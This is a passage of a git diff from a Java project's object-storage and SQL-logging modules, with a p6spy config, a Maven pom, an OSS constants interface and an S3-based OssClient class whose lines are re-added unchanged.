b/ruoyi-common/ruoyi-common-mybatis/src/main/resources/spy.properties index f3ed7d8..dabb5db 100644 --- a/ruoyi-common/ruoyi-common-mybatis/src/main/resources/spy.properties +++ b/ruoyi-common/ruoyi-common-mybatis/src/main/resources/spy.properties @@ -1,20 +1,20 @@ -# p6spy 性能分析插件配置文件 -modulelist=com.baomidou.mybatisplus.extension.p6spy.MybatisPlusLogFactory,com.p6spy.engine.outage.P6OutageFactory -# 自定义日志打印 -logMessageFormat=com.baomidou.mybatisplus.extension.p6spy.P6SpyLogger -#日志输出到控制台 -appender=com.baomidou.mybatisplus.extension.p6spy.StdoutLogger -# 使用日志系统记录 sql -#appender=com.p6spy.engine.spy.appender.Slf4JLogger -# 取消JDBC URL前缀 -useprefix=true -# 配置记录 Log 例外,可去掉的结果集有error,info,batch,debug,statement,commit,rollback,result,resultset. -excludecategories=info,debug,result,commit,resultset -# 日期格式 -dateformat=yyyy-MM-dd HH:mm:ss -# SQL语句打印时间格式 -databaseDialectTimestampFormat=yyyy-MM-dd HH:mm:ss -# 是否过滤 Log -filter=true -# 过滤 Log 时所排除的 sql 关键字,以逗号分隔 -exclude= +# p6spy 性能分析插件配置文件 +modulelist=com.baomidou.mybatisplus.extension.p6spy.MybatisPlusLogFactory,com.p6spy.engine.outage.P6OutageFactory +# 自定义日志打印 +logMessageFormat=com.baomidou.mybatisplus.extension.p6spy.P6SpyLogger +#日志输出到控制台 +appender=com.baomidou.mybatisplus.extension.p6spy.StdoutLogger +# 使用日志系统记录 sql +#appender=com.p6spy.engine.spy.appender.Slf4JLogger +# 取消JDBC URL前缀 +useprefix=true +# 配置记录 Log 例外,可去掉的结果集有error,info,batch,debug,statement,commit,rollback,result,resultset. +excludecategories=info,debug,result,commit,resultset +# 日期格式 +dateformat=yyyy-MM-dd HH:mm:ss +# SQL语句打印时间格式 +databaseDialectTimestampFormat=yyyy-MM-dd HH:mm:ss +# 是否过滤 Log +filter=true +# 过滤 Log 时所排除的 sql 关键字,以逗号分隔 +exclude= diff --git a/ruoyi-common/ruoyi-common-oss/pom.xml b/ruoyi-common/ruoyi-common-oss/pom.xml index 18d004f..68595ac 100644 --- a/ruoyi-common/ruoyi-common-oss/pom.xml +++ b/ruoyi-common/ruoyi-common-oss/pom.xml @@ -1,71 +1,71 @@ - - - - org.dromara - ruoyi-common - ${revision} - - 4.0.0 - - ruoyi-common-oss - - - ruoyi-common-oss oss服务 - - - - - org.dromara - ruoyi-common-json - - - - org.dromara - ruoyi-common-redis - - - - - software.amazon.awssdk - s3 - - - - software.amazon.awssdk - netty-nio-client - - - - software.amazon.awssdk - aws-crt-client - - - - software.amazon.awssdk - apache-client - - - - software.amazon.awssdk - url-connection-client - - - - - - - software.amazon.awssdk.crt - aws-crt - - - - - software.amazon.awssdk - s3-transfer-manager - - - - - + + + + org.dromara + ruoyi-common + ${revision} + + 4.0.0 + + ruoyi-common-oss + + + ruoyi-common-oss oss服务 + + + + + org.dromara + ruoyi-common-json + + + + org.dromara + ruoyi-common-redis + + + + + software.amazon.awssdk + s3 + + + + software.amazon.awssdk + netty-nio-client + + + + software.amazon.awssdk + aws-crt-client + + + + software.amazon.awssdk + apache-client + + + + software.amazon.awssdk + url-connection-client + + + + + + + software.amazon.awssdk.crt + aws-crt + + + + + software.amazon.awssdk + s3-transfer-manager + + + + + diff --git a/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/constant/OssConstant.java b/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/constant/OssConstant.java index 9d8db93..6099f7b 100644 --- a/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/constant/OssConstant.java +++ b/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/constant/OssConstant.java @@ -1,40 +1,40 @@ -package org.dromara.common.oss.constant; - -import org.dromara.common.core.constant.GlobalConstants; - -import java.util.Arrays; -import java.util.List; - -/** - * 对象存储常量 - * - * @author Lion Li - */ -public interface OssConstant { - - /** - * 默认配置KEY - */ - String DEFAULT_CONFIG_KEY = GlobalConstants.GLOBAL_REDIS_KEY + "sys_oss:default_config"; - - /** - * 预览列表资源开关Key - */ - String PEREVIEW_LIST_RESOURCE_KEY = "sys.oss.previewListResource"; - - /** - * 系统数据ids - */ - List SYSTEM_DATA_IDS = Arrays.asList(1L, 2L, 3L, 4L); - - /** - * 云服务商 - */ - String[] CLOUD_SERVICE = new String[] {"aliyun", "qcloud", "qiniu", "obs"}; - - /** - * https 状态 - */ - String IS_HTTPS = "Y"; - -} +package org.dromara.common.oss.constant; + +import org.dromara.common.core.constant.GlobalConstants; + +import java.util.Arrays; +import java.util.List; + +/** + * 对象存储常量 + * + * @author Lion Li + */ +public interface OssConstant { + + /** + * 默认配置KEY + */ + String DEFAULT_CONFIG_KEY = GlobalConstants.GLOBAL_REDIS_KEY + "sys_oss:default_config"; + + /** + * 预览列表资源开关Key + */ + String PEREVIEW_LIST_RESOURCE_KEY = "sys.oss.previewListResource"; + + /** + * 系统数据ids + */ + List SYSTEM_DATA_IDS = Arrays.asList(1L, 2L, 3L, 4L); + + /** + * 云服务商 + */ + String[] CLOUD_SERVICE = new String[] {"aliyun", "qcloud", "qiniu", "obs"}; + + /** + * https 状态 + */ + String IS_HTTPS = "Y"; + +} diff --git a/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/core/OssClient.java b/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/core/OssClient.java index 2099c39..253ee08 100644 --- a/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/core/OssClient.java +++ b/ruoyi-common/ruoyi-common-oss/src/main/java/org/dromara/common/oss/core/OssClient.java @@ -1,490 +1,490 @@ -package org.dromara.common.oss.core; - -import cn.hutool.core.io.IoUtil; -import cn.hutool.core.util.IdUtil; -import org.dromara.common.core.constant.Constants; -import org.dromara.common.core.utils.DateUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.core.utils.file.FileUtils; -import org.dromara.common.oss.constant.OssConstant; -import org.dromara.common.oss.entity.UploadResult; -import org.dromara.common.oss.enumd.AccessPolicyType; -import org.dromara.common.oss.exception.OssException; -import org.dromara.common.oss.properties.OssProperties; -import software.amazon.awssdk.auth.credentials.AwsBasicCredentials; -import software.amazon.awssdk.auth.credentials.StaticCredentialsProvider; -import software.amazon.awssdk.core.ResponseInputStream; -import software.amazon.awssdk.core.async.AsyncResponseTransformer; -import software.amazon.awssdk.core.async.BlockingInputStreamAsyncRequestBody; -import software.amazon.awssdk.regions.Region; -import software.amazon.awssdk.services.s3.S3AsyncClient; -import software.amazon.awssdk.services.s3.S3Configuration; -import software.amazon.awssdk.services.s3.crt.S3CrtHttpConfiguration; -import software.amazon.awssdk.services.s3.model.GetObjectResponse; -import software.amazon.awssdk.services.s3.presigner.S3Presigner; -import software.amazon.awssdk.transfer.s3.S3TransferManager; -import software.amazon.awssdk.transfer.s3.model.*; -import software.amazon.awssdk.transfer.s3.progress.LoggingTransferListener; - -import java.io.*; -import java.net.URI; -import java.net.URL; -import java.nio.file.Files; -import java.nio.file.Path; -import java.time.Duration; - -/** - * S3 存储协议 所有兼容S3协议的云厂商均支持 - * 阿里云 腾讯云 七牛云 minio - * - * @author AprilWind - */ -public class OssClient { - - /** - * 服务商 - */ - private final String configKey; - - /** - * 配置属性 - */ - private final OssProperties properties; - - /** - * Amazon S3 异步客户端 - */ - private final S3AsyncClient client; - - /** - * 用于管理 S3 数据传输的高级工具 - */ - private final S3TransferManager transferManager; - - /** - * AWS S3 预签名 URL 的生成器 - */ - private final S3Presigner presigner; - - /** - * 构造方法 - * - * @param configKey 配置键 - * @param ossProperties Oss配置属性 - */ - public OssClient(String configKey, OssProperties ossProperties) { - this.configKey = configKey; - this.properties = ossProperties; - try { - // 创建 AWS 认证信息 - StaticCredentialsProvider credentialsProvider = StaticCredentialsProvider.create( - AwsBasicCredentials.create(properties.getAccessKey(), properties.getSecretKey())); - - // MinIO 使用 HTTPS 限制使用域名访问,站点填域名。需要启用路径样式访问 - boolean isStyle = !StringUtils.containsAny(properties.getEndpoint(), OssConstant.CLOUD_SERVICE); - - // 创建AWS基于 CRT 的 S3 客户端 - this.client = S3AsyncClient.crtBuilder() - .credentialsProvider(credentialsProvider) - .endpointOverride(URI.create(getEndpoint())) - .region(of()) - .targetThroughputInGbps(20.0) - .minimumPartSizeInBytes(10 * 1025 * 1024L) - .checksumValidationEnabled(false) - .forcePathStyle(isStyle) - .httpConfiguration(S3CrtHttpConfiguration.builder().connectionTimeout(Duration.ofSeconds(60)).build()) - .build(); - - //AWS基于 CRT 的 S3 AsyncClient 实例用作 S3 传输管理器的底层客户端 - this.transferManager = S3TransferManager.builder().s3Client(this.client).build(); - - // 创建 S3 配置对象 - S3Configuration config = S3Configuration.builder().chunkedEncodingEnabled(false) - .pathStyleAccessEnabled(isStyle).build(); - - // 创建 预签名 URL 的生成器 实例,用于生成 S3 预签名 URL - this.presigner = S3Presigner.builder() - .region(of()) - .credentialsProvider(credentialsProvider) - .endpointOverride(URI.create(getDomain())) - .serviceConfiguration(config) - .build(); - - // 创建存储桶 -// createBucket(); - } catch (Exception e) { - if (e instanceof OssException) { - throw e; - } - throw new OssException("配置错误! 请检查系统配置:[" + e.getMessage() + "]"); - } - } - - /** - * 上传文件到 Amazon S3,并返回上传结果 - * - * @param filePath 本地文件路径 - * @param key 在 Amazon S3 中的对象键 - * @param md5Digest 本地文件的 MD5 哈希值(可选) - * @param contentType 文件内容类型 - * @return UploadResult 包含上传后的文件信息 - * @throws OssException 如果上传失败,抛出自定义异常 - */ - public UploadResult upload(Path filePath, String key, String md5Digest, String contentType) { - try { - // 构建上传请求对象 - FileUpload fileUpload = transferManager.uploadFile( - x -> x.putObjectRequest( - y -> y.bucket(properties.getBucketName()) - .key(key) - .contentMD5(StringUtils.isNotEmpty(md5Digest) ? md5Digest : null) - .contentType(contentType) - // 用于设置对象的访问控制列表(ACL)。不同云厂商对ACL的支持和实现方式有所不同, - // 因此根据具体的云服务提供商,你可能需要进行不同的配置(自行开启,阿里云有acl权限配置,腾讯云没有acl权限配置) - //.acl(getAccessPolicy().getObjectCannedACL()) - .build()) - .addTransferListener(LoggingTransferListener.create()) - .source(filePath).build()); - - // 等待上传完成并获取上传结果 - CompletedFileUpload uploadResult = fileUpload.completionFuture().join(); - String eTag = uploadResult.response().eTag(); - - // 提取上传结果中的 ETag,并构建一个自定义的 UploadResult 对象 - return UploadResult.builder().url(getUrl() + StringUtils.SLASH + key).filename(key).eTag(eTag).build(); - } catch (Exception e) { - // 捕获异常并抛出自定义异常 - throw new OssException("上传文件失败,请检查配置信息:[" + e.getMessage() + "]"); - } finally { - // 无论上传是否成功,最终都会删除临时文件 - FileUtils.del(filePath); - } - } - - /** - * 上传 InputStream 到 Amazon S3 - * - * @param inputStream 要上传的输入流 - * @param key 在 Amazon S3 中的对象键 - * @param length 输入流的长度 - * @param contentType 文件内容类型 - * @return UploadResult 包含上传后的文件信息 - * @throws OssException 如果上传失败,抛出自定义异常 - */ - public UploadResult upload(InputStream inputStream, String key, Long length, String contentType) { - // 如果输入流不是 ByteArrayInputStream,则将其读取为字节数组再创建 ByteArrayInputStream - if (!(inputStream instanceof ByteArrayInputStream)) { - inputStream = new ByteArrayInputStream(IoUtil.readBytes(inputStream)); - } - try { - // 创建异步请求体(length如果为空会报错) - BlockingInputStreamAsyncRequestBody body = BlockingInputStreamAsyncRequestBody.builder() - .contentLength(length) - .subscribeTimeout(Duration.ofSeconds(30)) - .build(); - - // 使用 transferManager 进行上传 - Upload upload = transferManager.upload( - x -> x.requestBody(body) - .putObjectRequest( - y -> y.bucket(properties.getBucketName()) - .key(key) - .contentType(contentType) - // 用于设置对象的访问控制列表(ACL)。不同云厂商对ACL的支持和实现方式有所不同, - // 因此根据具体的云服务提供商,你可能需要进行不同的配置(自行开启,阿里云有acl权限配置,腾讯云没有acl权限配置) - //.acl(getAccessPolicy().getObjectCannedACL()) - .build()) - .build()); - - // 将输入流写入请求体 - body.writeInputStream(inputStream); - - // 等待文件上传操作完成 - CompletedUpload uploadResult = upload.completionFuture().join(); - String eTag = uploadResult.response().eTag(); - - // 提取上传结果中的 ETag,并构建一个自定义的 UploadResult 对象 - return UploadResult.builder().url(getUrl() + StringUtils.SLASH + key).filename(key).eTag(eTag).build(); - } catch (Exception e) { - throw new OssException("上传文件失败,请检查配置信息:[" + e.getMessage() + "]"); - } - } - - /** - * 下载文件从 Amazon S3 到临时目录 - * - * @param path 文件在 Amazon S3 中的对象键 - * @return 下载后的文件在本地的临时路径 - * @throws OssException 如果下载失败,抛出自定义异常 - */ - public Path fileDownload(String path) { - // 构建临时文件 - Path tempFilePath = FileUtils.createTempFile().toPath(); - // 使用 S3TransferManager 下载文件 - FileDownload downloadFile = transferManager.downloadFile( - x -> x.getObjectRequest( - y -> y.bucket(properties.getBucketName()) - .key(removeBaseUrl(path)) - .build()) - .addTransferListener(LoggingTransferListener.create()) - .destination(tempFilePath) - .build()); - // 等待文件下载操作完成 - downloadFile.completionFuture().join(); - return tempFilePath; - } - - /** - * 下载文件从 Amazon S3 到 输出流 - * - * @param key 文件在 Amazon S3 中的对象键 - * @param out 输出流 - * @return 输出流中写入的字节数(长度) - * @throws OssException 如果下载失败,抛出自定义异常 - */ - public long download(String key, OutputStream out) { - try { - // 构建下载请求 - DownloadRequest> downloadRequest = DownloadRequest.builder() - // 文件对象 - .getObjectRequest(y -> y.bucket(properties.getBucketName()) - .key(key) - .build()) - .addTransferListener(LoggingTransferListener.create()) - // 使用订阅转换器 - .responseTransformer(AsyncResponseTransformer.toBlockingInputStream()) - .build(); - // 使用 S3TransferManager 下载文件 - Download> responseFuture = transferManager.download(downloadRequest); - // 输出到流中 - try (ResponseInputStream responseStream = responseFuture.completionFuture().join().result()) { - return responseStream.transferTo(out); - } - } catch (Exception e) { - throw new OssException("文件下载失败,错误信息:[" + e.getMessage() + "]"); - } - } - - /** - * 删除云存储服务中指定路径下文件 - * - * @param path 指定路径 - */ - public void delete(String path) { - try { - client.deleteObject( - x -> x.bucket(properties.getBucketName()) - .key(removeBaseUrl(path)) - .build()); - } catch (Exception e) { - throw new OssException("删除文件失败,请检查配置信息:[" + e.getMessage() + "]"); - } - } - - /** - * 获取私有URL链接 - * - * @param objectKey 对象KEY - * @param second 授权时间 - */ - public String getPrivateUrl(String objectKey, Integer second) { - // 使用 AWS S3 预签名 URL 的生成器 获取对象的预签名 URL - URL url = presigner.presignGetObject( - x -> x.signatureDuration(Duration.ofSeconds(second)) - .getObjectRequest( - y -> y.bucket(properties.getBucketName()) - .key(objectKey) - .build()) - .build()) - .url(); - return url.toString(); - } - - /** - * 上传 byte[] 数据到 Amazon S3,使用指定的后缀构造对象键。 - * - * @param data 要上传的 byte[] 数据 - * @param suffix 对象键的后缀 - * @return UploadResult 包含上传后的文件信息 - * @throws OssException 如果上传失败,抛出自定义异常 - */ - public UploadResult uploadSuffix(byte[] data, String suffix, String contentType) { - return upload(new ByteArrayInputStream(data), getPath(properties.getPrefix(), suffix), Long.valueOf(data.length), contentType); - } - - /** - * 上传 InputStream 到 Amazon S3,使用指定的后缀构造对象键。 - * - * @param inputStream 要上传的输入流 - * @param suffix 对象键的后缀 - * @param length 输入流的长度 - * @return UploadResult 包含上传后的文件信息 - * @throws OssException 如果上传失败,抛出自定义异常 - */ - public UploadResult uploadSuffix(InputStream inputStream, String suffix, Long length, String contentType) { - return upload(inputStream, getPath(properties.getPrefix(), suffix), length, contentType); - } - - /** - * 上传文件到 Amazon S3,使用指定的后缀构造对象键 - * - * @param file 要上传的文件 - * @param suffix 对象键的后缀 - * @return UploadResult 包含上传后的文件信息 - * @throws OssException 如果上传失败,抛出自定义异常 - */ - public UploadResult uploadSuffix(File file, String suffix) { - return upload(file.toPath(), getPath(properties.getPrefix(), suffix), null, FileUtils.getMimeType(suffix)); - } - - /** - * 获取文件输入流 - * - * @param path 完整文件路径 - * @return 输入流 - */ - public InputStream getObjectContent(String path) throws IOException { - // 下载文件到临时目录 - Path tempFilePath = fileDownload(path); - // 创建输入流 - InputStream inputStream = Files.newInputStream(tempFilePath); - // 删除临时文件 - FileUtils.del(tempFilePath); - // 返回对象内容的输入流 - return inputStream; - } - - /** - * 获取 S3 客户端的终端点 URL - * - * @return 终端点 URL - */ - public String getEndpoint() { - // 根据配置文件中的是否使用 HTTPS,设置协议头部 - String header = getIsHttps(); - // 拼接协议头部和终端点,得到完整的终端点 URL - return header + properties.getEndpoint(); - } - - /** - * 获取 S3 客户端的终端点 URL(自定义域名) - * - * @return 终端点 URL - */ - public String getDomain() { - // 从配置中获取域名、终端点、是否使用 HTTPS 等信息 - String domain = properties.getDomain(); - String endpoint = properties.getEndpoint(); - String header = getIsHttps(); - - // 如果是云服务商,直接返回域名或终端点 - if (StringUtils.containsAny(endpoint, OssConstant.CLOUD_SERVICE)) { - return StringUtils.isNotEmpty(domain) ? header + domain : header + endpoint; - } - - // 如果是 MinIO,处理域名并返回 - if (StringUtils.isNotEmpty(domain)) { - return domain.startsWith(Constants.HTTPS) || domain.startsWith(Constants.HTTP) ? domain : header + domain; - } - - // 返回终端点 - return header + endpoint; - } - - /** - * 根据传入的 region 参数返回相应的 AWS 区域 - * 如果 region 参数非空,使用 Region.of 方法创建并返回对应的 AWS 区域对象 - * 如果 region 参数为空,返回一个默认的 AWS 区域(例如,us-east-1),作为广泛支持的区域 - * - * @return 对应的 AWS 区域对象,或者默认的广泛支持的区域(us-east-1) - */ - public Region of() { - //AWS 区域字符串 - String region = properties.getRegion(); - // 如果 region 参数非空,使用 Region.of 方法创建对应的 AWS 区域对象,否则返回默认区域 - return StringUtils.isNotEmpty(region) ? Region.of(region) : Region.US_EAST_1; - } - - /** - * 获取云存储服务的URL - * - * @return 文件路径 - */ - public String getUrl() { - String domain = properties.getDomain(); - String endpoint = properties.getEndpoint(); - String header = getIsHttps(); - // 云服务商直接返回 - if (StringUtils.containsAny(endpoint, OssConstant.CLOUD_SERVICE)) { - return header + (StringUtils.isNotEmpty(domain) ? domain : properties.getBucketName() + "." + endpoint); - } - // MinIO 单独处理 - if (StringUtils.isNotEmpty(domain)) { - // 如果 domain 以 "https://" 或 "http://" 开头 - return (domain.startsWith(Constants.HTTPS) || domain.startsWith(Constants.HTTP)) ? - domain + StringUtils.SLASH + properties.getBucketName() : header + domain + StringUtils.SLASH + properties.getBucketName(); - } - return header + endpoint + StringUtils.SLASH + properties.getBucketName(); - } - - /** - * 生成一个符合特定规则的、唯一的文件路径。通过使用日期、UUID、前缀和后缀等元素的组合,确保了文件路径的独一无二性 - * - * @param prefix 前缀 - * @param suffix 后缀 - * @return 文件路径 - */ - public String getPath(String prefix, String suffix) { - // 生成uuid - String uuid = IdUtil.fastSimpleUUID(); - // 生成日期路径 - String datePath = DateUtils.datePath(); - // 拼接路径 - String path = StringUtils.isNotEmpty(prefix) ? - prefix + StringUtils.SLASH + datePath + StringUtils.SLASH + uuid : datePath + StringUtils.SLASH + uuid; - return path + suffix; - } - - /** - * 移除路径中的基础URL部分,得到相对路径 - * - * @param path 完整的路径,包括基础URL和相对路径 - * @return 去除基础URL后的相对路径 - */ - public String removeBaseUrl(String path) { - return path.replace(getUrl() + StringUtils.SLASH, ""); - } - - /** - * 服务商 - */ - public String getConfigKey() { - return configKey; - } - - /** - * 获取是否使用 HTTPS 的配置,并返回相应的协议头部。 - * - * @return 协议头部,根据是否使用 HTTPS 返回 "https://" 或 "http://" - */ - public String getIsHttps() { - return OssConstant.IS_HTTPS.equals(properties.getIsHttps()) ? Constants.HTTPS : Constants.HTTP; - } - - /** - * 检查配置是否相同 - */ - public boolean checkPropertiesSame(OssProperties properties) { - return this.properties.equals(properties); - } - - /** - * 获取当前桶权限类型 - * - * @return 当前桶权限类型code - */ - public AccessPolicyType getAccessPolicy() { - return AccessPolicyType.getByType(properties.getAccessPolicy()); - } - -} +package org.dromara.common.oss.core; + +import cn.hutool.core.io.IoUtil; +import cn.hutool.core.util.IdUtil; +import org.dromara.common.core.constant.Constants; +import org.dromara.common.core.utils.DateUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.core.utils.file.FileUtils; +import org.dromara.common.oss.constant.OssConstant; +import org.dromara.common.oss.entity.UploadResult; +import org.dromara.common.oss.enumd.AccessPolicyType; +import org.dromara.common.oss.exception.OssException; +import org.dromara.common.oss.properties.OssProperties; +import software.amazon.awssdk.auth.credentials.AwsBasicCredentials; +import software.amazon.awssdk.auth.credentials.StaticCredentialsProvider; +import software.amazon.awssdk.core.ResponseInputStream; +import software.amazon.awssdk.core.async.AsyncResponseTransformer; +import software.amazon.awssdk.core.async.BlockingInputStreamAsyncRequestBody; +import software.amazon.awssdk.regions.Region; +import software.amazon.awssdk.services.s3.S3AsyncClient; +import software.amazon.awssdk.services.s3.S3Configuration; +import software.amazon.awssdk.services.s3.crt.S3CrtHttpConfiguration; +import software.amazon.awssdk.services.s3.model.GetObjectResponse; +import software.amazon.awssdk.services.s3.presigner.S3Presigner; +import software.amazon.awssdk.transfer.s3.S3TransferManager; +import software.amazon.awssdk.transfer.s3.model.*; +import software.amazon.awssdk.transfer.s3.progress.LoggingTransferListener; + +import java.io.*; +import java.net.URI; +import java.net.URL; +import java.nio.file.Files; +import java.nio.file.Path; +import java.time.Duration; + +/** + * S3 存储协议 所有兼容S3协议的云厂商均支持 + * 阿里云 腾讯云 七牛云 minio + * + * @author AprilWind + */ +public class OssClient { + + /** + * 服务商 + */ + private final String configKey; + + /** + * 配置属性 + */ + private final OssProperties properties; + + /** + * Amazon S3 异步客户端 + */ + private final S3AsyncClient client; + + /** + * 用于管理 S3 数据传输的高级工具 + */ + private final S3TransferManager transferManager; + + /** + * AWS S3 预签名 URL 的生成器 + */ + private final S3Presigner presigner; + + /** + * 构造方法 + * + * @param configKey 配置键 + * @param ossProperties Oss配置属性 + */ + public OssClient(String configKey, OssProperties ossProperties) { + this.configKey = configKey; + this.properties = ossProperties; + try { + // 创建 AWS 认证信息 + StaticCredentialsProvider credentialsProvider = StaticCredentialsProvider.create( + AwsBasicCredentials.create(properties.getAccessKey(), properties.getSecretKey())); + + // MinIO 使用 HTTPS 限制使用域名访问,站点填域名。需要启用路径样式访问 + boolean isStyle = !StringUtils.containsAny(properties.getEndpoint(), OssConstant.CLOUD_SERVICE); + + // 创建AWS基于 CRT 的 S3 客户端 + this.client = S3AsyncClient.crtBuilder() + .credentialsProvider(credentialsProvider) + .endpointOverride(URI.create(getEndpoint())) + .region(of()) + .targetThroughputInGbps(20.0) + .minimumPartSizeInBytes(10 * 1025 * 1024L) + .checksumValidationEnabled(false) + .forcePathStyle(isStyle) + .httpConfiguration(S3CrtHttpConfiguration.builder().connectionTimeout(Duration.ofSeconds(60)).build()) + .build(); + + //AWS基于 CRT 的 S3 AsyncClient 实例用作 S3 传输管理器的底层客户端 + this.transferManager = S3TransferManager.builder().s3Client(this.client).build(); + + // 创建 S3 配置对象 + S3Configuration config = S3Configuration.builder().chunkedEncodingEnabled(false) + .pathStyleAccessEnabled(isStyle).build(); + + // 创建 预签名 URL 的生成器 实例,用于生成 S3 预签名 URL + this.presigner = S3Presigner.builder() + .region(of()) + .credentialsProvider(credentialsProvider) + .endpointOverride(URI.create(getDomain())) + .serviceConfiguration(config) + .build(); + + // 创建存储桶 +// createBucket(); + } catch (Exception e) { + if (e instanceof OssException) { + throw e; + } + throw new OssException("配置错误! 请检查系统配置:[" + e.getMessage() + "]"); + } + } + + /** + * 上传文件到 Amazon S3,并返回上传结果 + * + * @param filePath 本地文件路径 + * @param key 在 Amazon S3 中的对象键 + * @param md5Digest 本地文件的 MD5 哈希值(可选) + * @param contentType 文件内容类型 + * @return UploadResult 包含上传后的文件信息 + * @throws OssException 如果上传失败,抛出自定义异常 + */ + public UploadResult upload(Path filePath, String key, String md5Digest, String contentType) { + try { + // 构建上传请求对象 + FileUpload fileUpload = transferManager.uploadFile( + x -> x.putObjectRequest( + y -> y.bucket(properties.getBucketName()) + .key(key) + .contentMD5(StringUtils.isNotEmpty(md5Digest) ? md5Digest : null) + .contentType(contentType) + // 用于设置对象的访问控制列表(ACL)。不同云厂商对ACL的支持和实现方式有所不同, + // 因此根据具体的云服务提供商,你可能需要进行不同的配置(自行开启,阿里云有acl权限配置,腾讯云没有acl权限配置) + //.acl(getAccessPolicy().getObjectCannedACL()) + .build()) + .addTransferListener(LoggingTransferListener.create()) + .source(filePath).build()); + + // 等待上传完成并获取上传结果 + CompletedFileUpload uploadResult = fileUpload.completionFuture().join(); + String eTag = uploadResult.response().eTag(); + + // 提取上传结果中的 ETag,并构建一个自定义的 UploadResult 对象 + return UploadResult.builder().url(getUrl() + StringUtils.SLASH + key).filename(key).eTag(eTag).build(); + } catch (Exception e) { + // 捕获异常并抛出自定义异常 + throw new OssException("上传文件失败,请检查配置信息:[" + e.getMessage() + "]"); + } finally { + // 无论上传是否成功,最终都会删除临时文件 + FileUtils.del(filePath); + } + } + + /** + * 上传 InputStream 到 Amazon S3 + * + * @param inputStream 要上传的输入流 + * @param key 在 Amazon S3 中的对象键 + * @param length 输入流的长度 + * @param contentType 文件内容类型 + * @return UploadResult 包含上传后的文件信息 + * @throws OssException 如果上传失败,抛出自定义异常 + */ + public UploadResult upload(InputStream inputStream, String key, Long length, String contentType) { + // 如果输入流不是 ByteArrayInputStream,则将其读取为字节数组再创建 ByteArrayInputStream + if (!(inputStream instanceof ByteArrayInputStream)) { + inputStream = new ByteArrayInputStream(IoUtil.readBytes(inputStream)); + } + try { + // 创建异步请求体(length如果为空会报错) + BlockingInputStreamAsyncRequestBody body = BlockingInputStreamAsyncRequestBody.builder() + .contentLength(length) + .subscribeTimeout(Duration.ofSeconds(30)) + .build(); + + // 使用 transferManager 进行上传 + Upload upload = transferManager.upload( + x -> x.requestBody(body) + .putObjectRequest( + y -> y.bucket(properties.getBucketName()) + .key(key) + .contentType(contentType) + // 用于设置对象的访问控制列表(ACL)。不同云厂商对ACL的支持和实现方式有所不同, + // 因此根据具体的云服务提供商,你可能需要进行不同的配置(自行开启,阿里云有acl权限配置,腾讯云没有acl权限配置) + //.acl(getAccessPolicy().getObjectCannedACL()) + .build()) + .build()); + + // 将输入流写入请求体 + body.writeInputStream(inputStream); + + // 等待文件上传操作完成 + CompletedUpload uploadResult = upload.completionFuture().join(); + String eTag = uploadResult.response().eTag(); + + // 提取上传结果中的 ETag,并构建一个自定义的 UploadResult 对象 + return UploadResult.builder().url(getUrl() + StringUtils.SLASH + key).filename(key).eTag(eTag).build(); + } catch (Exception e) { + throw new OssException("上传文件失败,请检查配置信息:[" + e.getMessage() + "]"); + } + } + + /** + * 下载文件从 Amazon S3 到临时目录 + * + * @param path 文件在 Amazon S3 中的对象键 + * @return 下载后的文件在本地的临时路径 + * @throws OssException 如果下载失败,抛出自定义异常 + */ + public Path fileDownload(String path) { + // 构建临时文件 + Path tempFilePath = FileUtils.createTempFile().toPath(); + // 使用 S3TransferManager 下载文件 + FileDownload downloadFile = transferManager.downloadFile( + x -> x.getObjectRequest( + y -> y.bucket(properties.getBucketName()) + .key(removeBaseUrl(path)) + .build()) + .addTransferListener(LoggingTransferListener.create()) + .destination(tempFilePath) + .build()); + // 等待文件下载操作完成 + downloadFile.completionFuture().join(); + return tempFilePath; + } + + /** + * 下载文件从 Amazon S3 到 输出流 + * + * @param key 文件在 Amazon S3 中的对象键 + * @param out 输出流 + * @return 输出流中写入的字节数(长度) + * @throws OssException 如果下载失败,抛出自定义异常 + */ + public long download(String key, OutputStream out) { + try { + // 构建下载请求 + DownloadRequest> downloadRequest = DownloadRequest.builder() + // 文件对象 + .getObjectRequest(y -> y.bucket(properties.getBucketName()) + .key(key) + .build()) + .addTransferListener(LoggingTransferListener.create()) + // 使用订阅转换器 + .responseTransformer(AsyncResponseTransformer.toBlockingInputStream()) + .build(); + // 使用 S3TransferManager 下载文件 + Download> responseFuture = transferManager.download(downloadRequest); + // 输出到流中 + try (ResponseInputStream responseStream = responseFuture.completionFuture().join().result()) { + return responseStream.transferTo(out); + } + } catch (Exception e) { + throw new OssException("文件下载失败,错误信息:[" + e.getMessage() + "]"); + } + } + + /** + * 删除云存储服务中指定路径下文件 + * + * @param path 指定路径 + */ + public void delete(String path) { + try { + client.deleteObject( + x -> x.bucket(properties.getBucketName()) + .key(removeBaseUrl(path)) + .build()); + } catch (Exception e) { + throw new OssException("删除文件失败,请检查配置信息:[" + e.getMessage() + "]"); + } + } + + /** + * 获取私有URL链接 + * + * @param objectKey 对象KEY + * @param second 授权时间 + */ + public String getPrivateUrl(String objectKey, Integer second) { + // 使用 AWS S3 预签名 URL 的生成器 获取对象的预签名 URL + URL url = presigner.presignGetObject( + x -> x.signatureDuration(Duration.ofSeconds(second)) + .getObjectRequest( + y -> y.bucket(properties.getBucketName()) + .key(objectKey) + .build()) + .build()) + .url(); + return url.toString(); + } + + /** + * 上传 byte[] 数据到 Amazon S3,使用指定的后缀构造对象键。 + * + * @param data 要上传的 byte[] 数据 + * @param suffix 对象键的后缀 + * @return UploadResult 包含上传后的文件信息 + * @throws OssException 如果上传失败,抛出自定义异常 + */ + public UploadResult uploadSuffix(byte[] data, String suffix, String contentType) { + return upload(new ByteArrayInputStream(data), getPath(properties.getPrefix(), suffix), Long.valueOf(data.length), contentType); + } + + /** + * 上传 InputStream 到 Amazon S3,使用指定的后缀构造对象键。 + * + * @param inputStream 要上传的输入流 + * @param suffix 对象键的后缀 + * @param length 输入流的长度 + * @return UploadResult 包含上传后的文件信息 + * @throws OssException 如果上传失败,抛出自定义异常 + */ + public UploadResult uploadSuffix(InputStream inputStream, String suffix, Long length, String contentType) { + 